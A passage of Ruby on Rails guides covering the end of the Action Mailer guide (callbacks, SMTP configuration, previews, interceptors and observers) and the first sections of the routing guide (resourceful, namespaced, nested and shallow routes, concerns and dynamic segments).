    end

    def prevent_delivery_to_guests
      if @user && @user.guest?
        mail.perform_deliveries = false
      end
    end

    def set_business_headers
      if @business
        headers["X-SMTPAPI-CATEGORY"] = @business.code
      end
    end
end
```

### [6.3. `after_deliver`](#after-deliver)

You could use an `after_deliver` to record the delivery of the message. It also allows observer/interceptor-like behaviors, but with access to the full mailer context.

```
class UserMailer < ApplicationMailer
  after_deliver :mark_delivered
  before_deliver :sandbox_staging
  after_deliver :observe_delivery

  def feedback_message
    @feedback = params[:feedback]
  end

  private
    def mark_delivered
      params[:feedback].touch(:delivered_at)
    end

    # An Interceptor alternative.
    def sandbox_staging
      message.to = ["sandbox@example.com"] if Rails.env.staging?
    end

    # A callback has more context than the comparable Observer example.
    def observe_delivery
      EmailDelivery.log(message, self.class, action_name, params)
    end
end
```

`before_action` callbacks abort further processing if `response_body` is set to a non-nil value. `before_deliver` can abort with `throw :abort`.

## [7. Action Mailer View Helpers](#action-mailer-view-helpers)

Action Mailer views have access to most of the same helpers as regular views.

There are also some Action Mailer-specific helper methods available in [`ActionMailer::MailHelper`](https://api.rubyonrails.org/v8.1.4/classes/ActionMailer/MailHelper.html). For example, these allow accessing the mailer instance from your view with [`mailer`](https://api.rubyonrails.org/v8.1.4/classes/ActionMailer/MailHelper.html#method-i-mailer), and accessing the message as [`message`](https://api.rubyonrails.org/v8.1.4/classes/ActionMailer/MailHelper.html#method-i-message):

```
<%= stylesheet_link_tag mailer.name.underscore %>
<h1><%= message.subject %></h1>
```

## [8. Action Mailer Configuration](#action-mailer-configuration)

This section shows some example configurations for Action Mailer.

For more details on the various configuration options, see the [Configuring Rails Applications](configuring.html#configuring-action-mailer) guide. You can specify configuration options in environment specific files such as production.rb.

### [8.1. Example Action Mailer Configuration](#example-action-mailer-configuration)

Here is an example using the `:sendmail` delivery method, added to a `config/environments/$RAILS_ENV.rb` file:

```
config.action_mailer.delivery_method = :sendmail
# Defaults to:
# config.action_mailer.sendmail_settings = {
#   location: '/usr/sbin/sendmail',
#   arguments: %w[ -i ]
# }
config.action_mailer.perform_deliveries = true
config.action_mailer.raise_delivery_errors = true
config.action_mailer.default_options = { from: "no-reply@example.com" }
```

### [8.2. Action Mailer Configuration for Gmail](#action-mailer-configuration-for-gmail)

Add this to your `config/environments/$RAILS_ENV.rb` file to send via Gmail:

```
config.action_mailer.delivery_method = :smtp
config.action_mailer.smtp_settings = {
  address:         "smtp.gmail.com",
  port:            587,
  domain:          "example.com",
  user_name:       Rails.application.credentials.dig(:smtp, :user_name),
  password:        Rails.application.credentials.dig(:smtp, :password),
  authentication:  "plain",
  enable_starttls: true,
  open_timeout:    5,
  read_timeout:    5 }
```

Google [blocks sign-ins](https://support.google.com/accounts/answer/6010255) from apps it deems less secure. You can [change your Gmail settings](https://www.google.com/settings/security/lesssecureapps) to allow the attempts. If your Gmail account has 2-factor authentication enabled, then you will need to set an [app password](https://myaccount.google.com/apppasswords) and use that instead of your regular password.

## [9. Previewing and Testing Mailers](#previewing-and-testing-mailers)

You can find detailed instructions on how to test your mailers in the [testing guide](testing.html#testing-mailers).

### [9.1. Previewing Emails](#previewing-emails)

You can preview rendered email templates visually by visiting a special Action Mailer preview URL. To set up a preview for `UserMailer`, create a class named `UserMailerPreview` in the `test/mailers/previews/` directory. To see the preview of `welcome_email` from `UserMailer`, implement a method that has the same name in `UserMailerPreview` and call `UserMailer.welcome_email`:

```
class UserMailerPreview < ActionMailer::Preview
  def welcome_email
    UserMailer.with(user: User.first).welcome_email
  end
end
```

Now the preview will be available at <http://localhost:3000/rails/mailers/user_mailer/welcome_email>.

If you change something in the mailer view at `app/views/user_mailer/welcome_email.html.erb` or the mailer itself, the preview will automatically be updated. A list of previews is also available in <http://localhost:3000/rails/mailers>.

By default, these preview classes live in `test/mailers/previews`. This can be configured using the `preview_paths` option. For example, if you want to add `lib/mailer_previews` to it, you can configure it in `config/application.rb`:

```
config.action_mailer.preview_paths << "#{Rails.root}/lib/mailer_previews"
```

### [9.2. Rescuing Errors](#rescuing-errors)

Rescue blocks inside of a mailer method cannot rescue errors that occur outside of rendering. For example, record deserialization errors in a background job, or errors from a third-party mail delivery service.

To rescue errors that occur during any part of the mailing process, use [rescue\_from](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/Rescuable/ClassMethods.html#method-i-rescue_from):

```
class NotifierMailer < ApplicationMailer
  rescue_from ActiveJob::DeserializationError do
    # ...
  end

  rescue_from "SomeThirdPartyService::ApiError" do
    # ...
  end

  def notify(recipient)
    mail(to: recipient, subject: "Notification")
  end
end
```

## [10. Intercepting and Observing Emails](#intercepting-and-observing-emails)

Action Mailer provides hooks into the Mail observer and interceptor methods. These allow you to register classes that are called during the mail delivery life cycle of every email sent.

### [10.1. Intercepting Emails](#intercepting-emails)

Interceptors allow you to make modifications to emails before they are handed off to the delivery agents. An interceptor class must implement the `.delivering_email(message)` method which will be called before the email is sent.

```
class SandboxEmailInterceptor
  def self.delivering_email(message)
    message.to = ["sandbox@example.com"]
  end
end
```

The interceptor needs to be registered using the `interceptors` config option. You can do this in an initializer file like `config/initializers/mail_interceptors.rb`:

```
Rails.application.configure do
  if Rails.env.staging?
    config.action_mailer.interceptors = %w[SandboxEmailInterceptor]
  end
end
```

The example above uses a custom environment called "staging" for a production-like server but for testing purposes. You can read [Creating Rails Environments](configuring.html#creating-rails-environments) for more information about custom Rails environments.

### [10.2. Observing Emails](#observing-emails)

Observers give you access to the email message *after* it has been sent. An observer class must implement the `:delivered_email(message)` method, which will be called after the email is sent.

```
class EmailDeliveryObserver
  def self.delivered_email(message)
    EmailDelivery.log(message)
  end
end
```

Similar to interceptors, you must register observers using the `observers` config option. You can do this in an initializer file like `config/initializers/mail_observers.rb`:

```
Rails.application.configure do
  config.action_mailer.observers = %w[EmailDeliveryObserver]
end
```

***

***

[Back to top](#main-skip-link)

----
url: https://guides.rubyonrails.org/v8.1/routing.html
----

***

## [1. The Purpose of the Rails Router](#the-purpose-of-the-rails-router)

The Rails router matches incoming HTTP requests to specific controller actions in your Rails application based on the URL path. (It can also forward to a [Rack](rails_on_rack.html) application.) The router also generates path and URL helpers based on the resources configured in the router.

### [1.1. Routing Incoming URLs to Code](#routing-incoming-urls-to-code)

When your Rails application receives an incoming request, it asks the router to match it to a controller action (aka method). For example, take the following incoming request:

```
GET /users/17
```

If the first matching route is:

```
get "/users/:id", to: "users#show"
```

The request is matched to the `UsersController` class's `show` action with `{ id: '17' }` in the `params` hash.

The `to:` option expects a `controller#action` format when passed a string. Alternatively, You can pass a symbol and use the `action:` option, instead of `to:`. You can also pass a string without a `#`, in which case the `controller:` option is used instead to `to:`. For example:

```
get "/users/:id", controller: "users", action: :show
```

Rails uses snake\_case for controller names when specifying routes. For example, if you have a controller named `UserProfilesController`, you would specify a route to the show action as `user_profiles#show`.

### [1.2. Generating Paths and URLs from Code](#generating-paths-and-urls-from-code)

The Router automatically generates path and URL helper methods for your application. With these methods you can avoid hard-coded path and URL strings.

For example, the `user_path` and `user_url` helper methods are available when defining the following route:

```
get "/users/:id", to: "users#show", as: "user"
```

The `as:` option is used to provide a custom name for a route, which is used when generating URL and path helpers.

Assuming your application contains this code in the controller:

```
@user = User.find(params[:id])
```

and this in the corresponding view:

```
<%= link_to 'User Record', user_path(@user) %>
```

The router will generate the path `/users/17` from `user_path(@user)`. Using the `user_path` helper allows you to avoid having to hard-code a path in your views. This is helpful if you eventually move the route to a different URL, as you won't need to update the corresponding views.

It also generates `user_url`, which has a similar purpose. While `user_path` generates a relative URL like `/users/17`, `user_url` generates an absolute URL such as `https://example.com/users/17` in the above example.

### [1.3. Configuring the Rails Router](#configuring-the-rails-router)

Routes live in `config/routes.rb`. Here is an example of what routes look like in a typical Rails application. The sections that follow will explain the different route helpers used in this file:

```
Rails.application.routes.draw do
  resources :brands, only: [:index, :show] do
    resources :products, only: [:index, :show]
  end

  resource :basket, only: [:show, :update, :destroy]

  resolve("Basket") { route_for(:basket) }
end
```

Since this is a regular Ruby source file, you can use all of Ruby's features (like conditionals and loops) to help you define your routes.

The `Rails.application.routes.draw do ... end` block that wraps your route definitions is required to establish the scope for the router DSL (Domain Specific Language) and must not be deleted.

Be careful with variable names in `routes.rb` as they can clash with the DSL methods of the router.

## [2. Resource Routing: the Rails Default](#resource-routing-the-rails-default)

Resource routing allows you to quickly declare all of the common routes for a given resource controller. For example, a single call to [`resources`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/Routing/Mapper/Resources.html#method-i-resources) declares all of the necessary routes for the `index`, `show`, `new`, `edit`, `create`, `update`, and `destroy` actions, without you having to declare each route separately.

### [2.1. Resources on the Web](#resources-on-the-web)

Browsers request pages from Rails by making a request for a URL using a specific HTTP verb, such as `GET`, `POST`, `PATCH`, `PUT`, and `DELETE`. Each HTTP verb is a request to perform an operation on the resource. A resource route maps related requests to actions in a single controller.

When your Rails application receives an incoming request for:

```
DELETE /photos/17
```

it asks the router to map it to a controller action. If the first matching route is:

```
resources :photos
```

Rails would dispatch that request to the `destroy` action on the `PhotosController` with `{ id: '17' }` in `params`.

### [2.2. CRUD, Verbs, and Actions](#crud-verbs-and-actions)

In Rails, resourceful routes provide a mapping from incoming requests (a combination of HTTP verb + URL) to controller actions. By convention, each action generally maps to a specific [CRUD](active_record_basics.html#crud-reading-and-writing-data) operation on your data. A single entry in the routing file, such as:

```
resources :photos
```

creates seven different routes in your application, all mapping to the `PhotosController` actions:

| HTTP Verb | Path             | Controller#Action | Used to                                      |
| --------- | ---------------- | ----------------- | -------------------------------------------- |
| GET       | /photos          | photos#index      | display a list of all photos                 |
| GET       | /photos/new      | photos#new        | return an HTML form for creating a new photo |
| POST      | /photos          | photos#create     | create a new photo                           |
| GET       | /photos/:id      | photos#show       | display a specific photo                     |
| GET       | /photos/:id/edit | photos#edit       | return an HTML form for editing a photo      |
| PATCH/PUT | /photos/:id      | photos#update     | update a specific photo                      |
| DELETE    | /photos/:id      | photos#destroy    | delete a specific photo                      |

Since the router uses the HTTP verb *and* path to match inbound requests, four URLs can map to seven different controller actions. For example, the same `photos/` path matches to `photos#index` when the verb is `GET` and `photos#create` when the verb is `POST`.

Order matters in the `routes.rb` file. Rails routes are matched in the order they are specified. For example, if you have a `resources :photos` above a `get 'photos/poll'` the `show` action's route for the `resources` line will be matched before the `get` line. If you want the `photos/poll` route to match first, you'll need to move the `get` line **above** the `resources` line.

### [2.3. Path and URL Helpers](#path-and-url-helpers)

Creating a resourceful route will also expose a number of helpers to controllers and views in your application.

For example, adding `resources :photos` to the route file will generate these `_path` helpers:

| Path Helper            | Returns URL        |
| ---------------------- | ------------------ |
| `photos_path`          | /photos            |
| `new_photo_path`       | /photos/new        |
| `edit_photo_path(:id)` | /photos/:id/edit\` |
| `photo_path(:id)`      | /photos/:id        |

Parameters to the path helpers, such as `:id` above, are passed to the generated URL, such that `edit_photo_path(10)` will return `/photos/10/edit`.

Each of these `_path` helpers also have a corresponding `_url` helper (such as `photos_url`) which returns the same path prefixed with the current host, port, and path prefix.

The prefix used before "\_path" and "\_url" is the route name and can be identified by looking at the "prefix" column of the `bin/rails routes` command output. To learn more see [Listing Existing Routes](#listing-existing-routes) below.

### [2.4. Defining Multiple Resources at the Same Time](#defining-multiple-resources-at-the-same-time)

If you need to create routes for more than one resource, you can save a bit of typing by defining them all with a single call to `resources`:

```
resources :photos, :books, :videos
```

The above is a shortcut for:

```
resources :photos
resources :books
resources :videos
```

### [2.5. Singular Resources](#singular-resources)

Sometimes, you have a resource that users expect to have only one (i.e. it does not make sense to have an `index` action to list all values of that resource). In that case, you can use `resource` (singular) instead of `resources`.

The below resourceful route creates six routes in your application, all mapping to the `Geocoders` controller:

```
resource :geocoder
resolve("Geocoder") { [:geocoder] }
```

The call to `resolve` is necessary for converting instances of the `Geocoder` to singular routes through [record identification](form_helpers.html#relying-on-record-identification).

Here are all of the routes created for a singular resource:

| HTTP Verb | Path           | Controller#Action | Used to                                       |
| --------- | -------------- | ----------------- | --------------------------------------------- |
| GET       | /geocoder/new  | geocoders#new     | return an HTML form for creating the geocoder |
| POST      | /geocoder      | geocoders#create  | create the new geocoder                       |
| GET       | /geocoder      | geocoders#show    | display the one and only geocoder resource    |
| GET       | /geocoder/edit | geocoders#edit    | return an HTML form for editing the geocoder  |
| PATCH/PUT | /geocoder      | geocoders#update  | update the one and only geocoder resource     |
| DELETE    | /geocoder      | geocoders#destroy | delete the geocoder resource                  |

Singular resources map to plural controllers. For example, the `geocoder` resource maps to the `GeocodersController`.

A singular resourceful route generates these helpers:

* `new_geocoder_path` returns `/geocoder/new`
* `edit_geocoder_path` returns `/geocoder/edit`
* `geocoder_path` returns `/geocoder`

As with plural resources, the same helpers ending in `_url` will also include the host, port, and path prefix.

### [2.6. Controller Namespaces and Routing](#controller-namespaces-and-routing)

In large applications, you may wish to organize groups of controllers under a namespace. For example, you may have a number of controllers under an `Admin::` namespace, which are inside the `app/controllers/admin` directory. You can route to such a group by using a [`namespace`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/Routing/Mapper/Scoping.html#method-i-namespace) block:

```
namespace :admin do
  resources :articles
end
```

For `Admin::ArticlesController`, Rails will create the following routes:

| HTTP Verb | Path                     | Controller#Action      | Named Route Helper              |
| --------- | ------------------------ | ---------------------- | ------------------------------- |
| GET       | /admin/articles          | admin/articles#index   | admin\_articles\_path           |
| GET       | /admin/articles/new      | admin/articles#new     | new\_admin\_article\_path       |
| POST      | /admin/articles          | admin/articles#create  | admin\_articles\_path           |
| GET       | /admin/articles/:id      | admin/articles#show    | admin\_article\_path(:id)       |
| GET       | /admin/articles/:id/edit | admin/articles#edit    | edit\_admin\_article\_path(:id) |
| PATCH/PUT | /admin/articles/:id      | admin/articles#update  | admin\_article\_path(:id)       |
| DELETE    | /admin/articles/:id      | admin/articles#destroy | admin\_article\_path(:id)       |

Note that in the above example all of the paths have a `/admin` prefix per the default convention for `namespace`.

#### [2.6.1. Using Module](#using-module)

If you want to route `/articles` (without the prefix `/admin`) to `Admin::ArticlesController`, you can specify the module with a [`scope`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/Routing/Mapper/Scoping.html#method-i-scope) block:

```
scope module: "admin" do
  resources :articles
end
```

Another way to write the above:

```
resources :articles, module: "admin"
```

#### [2.6.2. Using Scope](#using-scope)

Alternatively, you can also route `/admin/articles` to `ArticlesController` (without the `Admin::` module prefix). You can specify the path with a `scope` block:

```
scope "/admin" do
  resources :articles
end
```

Another way to write the above:

```
resources :articles, path: "/admin/articles"
```

For these alternatives (without `/admin` in path and without `Admin::` in module prefix), the named route helpers remain the same as if you did not use `scope`.

In the last case, the following paths map to `ArticlesController`:

| HTTP Verb | Path                     | Controller#Action | Named Route Helper       |
| --------- | ------------------------ | ----------------- | ------------------------ |
| GET       | /admin/articles          | articles#index    | articles\_path           |
| GET       | /admin/articles/new      | articles#new      | new\_article\_path       |
| POST      | /admin/articles          | articles#create   | articles\_path           |
| GET       | /admin/articles/:id      | articles#show     | article\_path(:id)       |
| GET       | /admin/articles/:id/edit | articles#edit     | edit\_article\_path(:id) |
| PATCH/PUT | /admin/articles/:id      | articles#update   | article\_path(:id)       |
| DELETE    | /admin/articles/:id      | articles#destroy  | article\_path(:id)       |

If you need to use a different controller namespace inside a `namespace` block you can specify an absolute controller path, e.g: `get '/foo', to: '/foo#index'`.

### [2.7. Nested Resources](#nested-resources)

It's common to have resources that are logically children of other resources. For example, suppose your application includes these models:

```
class Magazine < ApplicationRecord
  has_many :ads
end

class Ad < ApplicationRecord
  belongs_to :magazine
end
```

Nested route declarations allow you to capture this relationship in your routing:

```
resources :magazines do
  resources :ads
end
```

In addition to the routes for magazines, this declaration will also route ads to an `AdsController`. Here are all of the routes for the nested `ads` resource:

| HTTP Verb | Path                                  | Controller#Action | Used to                                                                    |
| --------- | ------------------------------------- | ----------------- | -------------------------------------------------------------------------- |
| GET       | /magazines/:magazine\_id/ads          | ads#index         | display a list of all ads for a specific magazine                          |
| GET       | /magazines/:magazine\_id/ads/new      | ads#new           | return an HTML form for creating a new ad belonging to a specific magazine |
| POST      | /magazines/:magazine\_id/ads          | ads#create        | create a new ad belonging to a specific magazine                           |
| GET       | /magazines/:magazine\_id/ads/:id      | ads#show          | display a specific ad belonging to a specific magazine                     |
| GET       | /magazines/:magazine\_id/ads/:id/edit | ads#edit          | return an HTML form for editing an ad belonging to a specific magazine     |
| PATCH/PUT | /magazines/:magazine\_id/ads/:id      | ads#update        | update a specific ad belonging to a specific magazine                      |
| DELETE    | /magazines/:magazine\_id/ads/:id      | ads#destroy       | delete a specific ad belonging to a specific magazine                      |

This will also create the usual path and url routing helpers such as `magazine_ads_url` and `edit_magazine_ad_path`. Since the `ads` resource is nested below `magazines`, The ad URLs require a magazine. The helpers can take an instance of `Magazine` as the first parameter (`edit_magazine_ad_path(@magazine, @ad)`).

#### [2.7.1. Limits to Nesting](#limits-to-nesting)

You can nest resources within other nested resources if you like. For example:

```
resources :publishers do
  resources :magazines do
    resources :photos
  end
end
```

In the above example, the application would recognize paths such as:

```
/publishers/1/magazines/2/photos/3
```

The corresponding route helper would be `publisher_magazine_photo_url`, requiring you to specify objects at all three levels. As you can see, deeply nested resources can become overly complex and cumbersome to maintain.

The general rule of thumb is to only nest resources 1 level deep.

#### [2.7.2. Shallow Nesting](#shallow-nesting)

One way to avoid deep nesting (as recommended above) is to generate the collection actions scoped under the parent - so as to get a sense of the hierarchy, but to not nest the member actions. In other words, to only build routes with the minimal amount of information to uniquely identify the resource.

The "member" actions are the ones that apply to an individual resource and require an ID to identify the specific resource they are acting upon, such as `show`, `edit`, etc. The "collection" actions are the ones that act on the entire set of the resource, such as `index`.

For example:

```
resources :articles do
  resources :comments, only: [:index, :new, :create]
end
resources :comments, only: [:show, :edit, :update, :destroy]
```

Above we use the `:only` option which tells Rails to create only the specified routes. This idea strikes a balance between descriptive routes and deep nesting. There is a shorthand syntax to achieve just that, via the `:shallow` option:

```
resources :articles do
  resources :comments, shallow: true
end
```

This will generate the exact same routes as the first example. You can also specify the `:shallow` option in the parent resource, in which case all of the nested resources will be shallow:

```
resources :articles, shallow: true do
  resources :comments
  resources :quotes
end
```

The articles resource above will generate the following routes:

| HTTP Verb | Path                                          | Controller#Action | Named Route Helper          |
| --------- | --------------------------------------------- | ----------------- | --------------------------- |
| GET       | /articles/:article\_id/comments(.:format)     | comments#index    | article\_comments\_path     |
| POST      | /articles/:article\_id/comments(.:format)     | comments#create   | article\_comments\_path     |
| GET       | /articles/:article\_id/comments/new(.:format) | comments#new      | new\_article\_comment\_path |
| GET       | /comments/:id/edit(.:format)                  | comments#edit     | edit\_comment\_path         |
| GET       | /comments/:id(.:format)                       | comments#show     | comment\_path               |
| PATCH/PUT | /comments/:id(.:format)                       | comments#update   | comment\_path               |
| DELETE    | /comments/:id(.:format)                       | comments#destroy  | comment\_path               |
| GET       | /articles/:article\_id/quotes(.:format)       | quotes#index      | article\_quotes\_path       |
| POST      | /articles/:article\_id/quotes(.:format)       | quotes#create     | article\_quotes\_path       |
| GET       | /articles/:article\_id/quotes/new(.:format)   | quotes#new        | new\_article\_quote\_path   |
| GET       | /quotes/:id/edit(.:format)                    | quotes#edit       | edit\_quote\_path           |
| GET       | /quotes/:id(.:format)                         | quotes#show       | quote\_path                 |
| PATCH/PUT | /quotes/:id(.:format)                         | quotes#update     | quote\_path                 |
| DELETE    | /quotes/:id(.:format)                         | quotes#destroy    | quote\_path                 |
| GET       | /articles(.:format)                           | articles#index    | articles\_path              |
| POST      | /articles(.:format)                           | articles#create   | articles\_path              |
| GET       | /articles/new(.:format)                       | articles#new      | new\_article\_path          |
| GET       | /articles/:id/edit(.:format)                  | articles#edit     | edit\_article\_path         |
| GET       | /articles/:id(.:format)                       | articles#show     | article\_path               |
| PATCH/PUT | /articles/:id(.:format)                       | articles#update   | article\_path               |
| DELETE    | /articles/:id(.:format)                       | articles#destroy  | article\_path               |

The [`shallow`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/Routing/Mapper/Resources.html#method-i-shallow) method with a block creates a scope inside of which every nesting is shallow. This generates the same routes as the previous example:

```
shallow do
  resources :articles do
    resources :comments
    resources :quotes
  end
end
```

There are two options that can be used with `scope` to customize shallow routes - `:shallow_path` and `:shallow_prefix`.

The `shallow_path` option prefixes member paths with the given parameter:

```
scope shallow_path: "sekret" do
  resources :articles do
    resources :comments, shallow: true
  end
end
```

The comments resource here will have the following routes generated for it:

| HTTP Verb | Path                                          | Controller#Action | Named Route Helper          |
| --------- | --------------------------------------------- | ----------------- | --------------------------- |
| GET       | /articles/:article\_id/comments(.:format)     | comments#index    | article\_comments\_path     |
| POST      | /articles/:article\_id/comments(.:format)     | comments#create   | article\_comments\_path     |
| GET       | /articles/:article\_id/comments/new(.:format) | comments#new      | new\_article\_comment\_path |
| GET       | /sekret/comments/:id/edit(.:format)           | comments#edit     | edit\_comment\_path         |
| GET       | /sekret/comments/:id(.:format)                | comments#show     | comment\_path               |
| PATCH/PUT | /sekret/comments/:id(.:format)                | comments#update   | comment\_path               |
| DELETE    | /sekret/comments/:id(.:format)                | comments#destroy  | comment\_path               |

The `:shallow_prefix` option adds the specified parameter to the `_path` and `_url` route helpers:

```
scope shallow_prefix: "sekret" do
  resources :articles do
    resources :comments, shallow: true
  end
end
```

The comments resource here will have the following routes generated for it:

| HTTP Verb | Path                                          | Controller#Action | Named Route Helper          |
| --------- | --------------------------------------------- | ----------------- | --------------------------- |
| GET       | /articles/:article\_id/comments(.:format)     | comments#index    | article\_comments\_path     |
| POST      | /articles/:article\_id/comments(.:format)     | comments#create   | article\_comments\_path     |
| GET       | /articles/:article\_id/comments/new(.:format) | comments#new      | new\_article\_comment\_path |
| GET       | /comments/:id/edit(.:format)                  | comments#edit     | edit\_sekret\_comment\_path |
| GET       | /comments/:id(.:format)                       | comments#show     | sekret\_comment\_path       |
| PATCH/PUT | /comments/:id(.:format)                       | comments#update   | sekret\_comment\_path       |
| DELETE    | /comments/:id(.:format)                       | comments#destroy  | sekret\_comment\_path       |

### [2.8. Routing Concerns](#routing-concerns)

Routing concerns allow you to declare common routes that can be reused inside other resources. To define a concern, use a [`concern`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/Routing/Mapper/Concerns.html#method-i-concern) block:

```
concern :commentable do
  resources :comments
end

concern :image_attachable do
  resources :images, only: :index
end
```

These concerns can be used in resources to avoid code duplication and share behavior across routes:

```
resources :messages, concerns: :commentable

resources :articles, concerns: [:commentable, :image_attachable]
```

The above is equivalent to:

```
resources :messages do
  resources :comments
end

resources :articles do
  resources :comments
  resources :images, only: :index
end
```

You can also call [`concerns`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/Routing/Mapper/Concerns.html#method-i-concerns) in a `scope` or `namespace` block to get the same result as above. For example:

```
namespace :messages do
  concerns :commentable
end

namespace :articles do
  concerns :commentable
  concerns :image_attachable
end
```

### [2.9. Creating Paths and URLs from Objects](#creating-paths-and-urls-from-objects)

In addition to using the routing helpers, Rails can also create paths and URLs from an array of parameters. For example, suppose you have this set of routes:

```
resources :magazines do
  resources :ads
end
```

When using `magazine_ad_path`, you can pass in instances of `Magazine` and `Ad` instead of the numeric IDs:

```
<%= link_to 'Ad details', magazine_ad_path(@magazine, @ad) %>
```

The generated path will be something like `/magazines/5/ads/42`.

You can also use [`url_for`](https://api.rubyonrails.org/v8.1.4/classes/ActionView/RoutingUrlFor.html#method-i-url_for) with an array of objects to get the above path, like this:

```
<%= link_to 'Ad details', url_for([@magazine, @ad]) %>
```

In this case, Rails will see that `@magazine` is a `Magazine` and `@ad` is an `Ad` and will therefore use the `magazine_ad_path` helper. An even shorter way to write that [`link_to`](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/UrlHelper.html#method-i-link_to) is to specify just the object instead of the full [`url_for`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/Routing/UrlFor.html) call:

```
<%= link_to 'Ad details', [@magazine, @ad] %>
```

If you wanted to link to just a magazine:

```
<%= link_to 'Magazine details', @magazine %>
```

For other actions, you need to insert the action name as the first element of the array, for `edit_magazine_ad_path`:

```
<%= link_to 'Edit Ad', [:edit, @magazine, @ad] %>
```

This allows you to treat instances of your models as URLs, and is a key advantage to using the resourceful style.

In order to automatically derive paths and URLs from objects such as `[@magazine, @ad]`, Rails uses methods from [`ActiveModel::Naming`](https://api.rubyonrails.org/v8.1.4/classes/ActiveModel/Naming.html) and [`ActiveModel::Conversion`](https://api.rubyonrails.org/v8.1.4/classes/ActiveModel/Conversion.html) modules. Specifically, the `@magazine.model_name.route_key` returns `magazines` and `@magazine.to_param` returns a string representation of the model's `id`. So the generated path may be something like `/magazines/1/ads/42` for the objects `[@magazine, @ad]`.

### [2.10. Adding More RESTful Routes](#adding-more-restful-routes)

You are not limited to the [seven routes](#crud-verbs-and-actions) that RESTful routing creates by default. You can add additional routes that apply to the collection or individual members of the collection.

The below sections describe adding member routes and collection routes. The term `member` refers to routes acting on a single element, such as `show`, `update`, or `destroy`. The term `collection` refers to routes acting on multiple, or a collection of, elements, such as the `index` route.

#### [2.10.1. Adding Member Routes](#adding-member-routes)

You can add a [`member`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/Routing/Mapper/Resources.html#method-i-member) block into the resource block like this:

```
resources :photos do
  member do
    get "preview"
  end
end
```

An incoming GET request to `/photos/1/preview` will route to the `preview` action of `PhotosController`. The resource id value will be available in `params[:id]`. It will also create the `preview_photo_url` and `preview_photo_path` helpers.

Within the `member` block, each route definition specifies the HTTP verb (`get` in the above example with `get 'preview'`). In addition to [`get`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/Routing/Mapper/HttpHelpers.html#method-i-get), you can use [`patch`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/Routing/Mapper/HttpHelpers.html#method-i-patch), [`put`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/Routing/Mapper/HttpHelpers.html#method-i-put), [`post`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/Routing/Mapper/HttpHelpers.html#method-i-post), or [`delete`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/Routing/Mapper/HttpHelpers.html#method-i-delete).

If you don't have multiple `member` routes, you can also pass `:on` to a route, eliminating the block:

```
resources :photos do
  get "preview", on: :member
end
```

You can also leave out the `:on` option, this will create the same member route except that the resource id value will be available in `params[:photo_id]` instead of `params[:id]`. Route helpers will also be renamed from `preview_photo_url` and `preview_photo_path` to `photo_preview_url` and `photo_preview_path`.

#### [2.10.2. Adding Collection Routes](#adding-collection-routes)

To add a route to the collection, use a [`collection`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/Routing/Mapper/Resources.html#method-i-collection) block:

```
resources :photos do
  collection do
    get "search"
  end
end
```

This will enable Rails to recognize paths such as `/photos/search` with GET, and route to the `search` action of `PhotosController`. It will also create the `search_photos_url` and `search_photos_path` route helpers.

Just as with member routes, you can pass `:on` to a route:

```
resources :photos do
  get "search", on: :collection
end
```

If you're defining additional resource routes with a symbol as the first positional argument, be mindful that it is not equivalent to using a string. Symbols infer controller actions while strings infer paths.

#### [2.10.3. Adding Routes for Additional New Actions](#adding-routes-for-additional-new-actions)

To add an alternate new action using the `:on` shortcut:

```
resources :comments do
  get "preview", on: :new
end
```

This will enable Rails to recognize paths such as `/comments/new/preview` with GET, and route to the `preview` action of `CommentsController`. It will also create the `preview_new_comment_url` and `preview_new_comment_path` route helpers.

If you find yourself adding many extra actions to a resourceful route, it's time to stop and ask yourself whether you're disguising the presence of another resource.

It is possible to customize the default routes and helpers generated by `resources`, see [customizing resourceful routes section](#customizing-resourceful-routes) for more.

## [3. Non-Resourceful Routes](#non-resourceful-routes)

In addition to resourceful routing with `resources`, Rails has powerful support for routing arbitrary URLs to actions. You don't get groups of routes automatically generated by resourceful routing. Instead, you set up each route separately within your application.

While you should usually use resourceful routing, there are places where non-resourceful routing is more appropriate. There's no need to try to force every last piece of your application into a resourceful framework if that's not a good fit.

One example use case for non-resourceful routing is mapping existing legacy URLs to new Rails actions.

### [3.1. Bound Parameters](#bound-parameters)

When you set up a regular route, you supply a series of symbols that Rails maps to parts of an incoming HTTP request. For example, consider this route:

```
get "photos(/:id)", to: "photos#display"
```

If an incoming `GET` request of `/photos/1` is processed by this route, then the result will be to invoke the `display` action of the `PhotosController`, and to make the final parameter `"1"` available as `params[:id]`. This route will also route the incoming request of `/photos` to `PhotosController#display`, since `:id` is an optional parameter, denoted by parentheses in the above example.

### [3.2. Dynamic Segments](#dynamic-segments)

You can set up as many dynamic segments within a regular route as you like. Any segment will be available to the action as part of `params`. If you set up this route:

```
get "photos/:id/:user_id", to: "photos#show"
```

This route will respond to paths such as `/photos/1/2`. The `params` hash will be { controller: 'photos', action: 'show', id: '1', user\_id: '2' }.

By default, dynamic segments don't accept dots - this is because the dot is used as a separator for formatted routes. If you need to use a dot within a dynamic segment, add a constraint that overrides this – for example, `id: /[^\/]+/` allows anything except a slash.

### [3.3. Static Segments](#static-segments)

You can specify static segments when creating a route by not prepending a colon to a segment:

```
get "photos/:id/with_user/:user_id", to: "photos#show"
```

This route would respond to paths such as `/photos/1/with_user/2`. In this case, `params` would be `{ controller: 'photos', action: 'show', id: '1', user_id: '2' }`.

### [3.4. The Query String](#the-query-string)

The `params` will also include any parameters from the query string. For example, with this route:

```
get "photos/:id", to: "photos#show"
```

An incoming `GET` request for `/photos/1?user_id=2` will be dispatched to the `show` action of the `PhotosController` class as usual and the `params` hash will be `{ controller: 'photos', action: 'show', id: '1', user_id: '2' }`.

### [3.5. Defining Default Parameters](#defining-default-parameters)

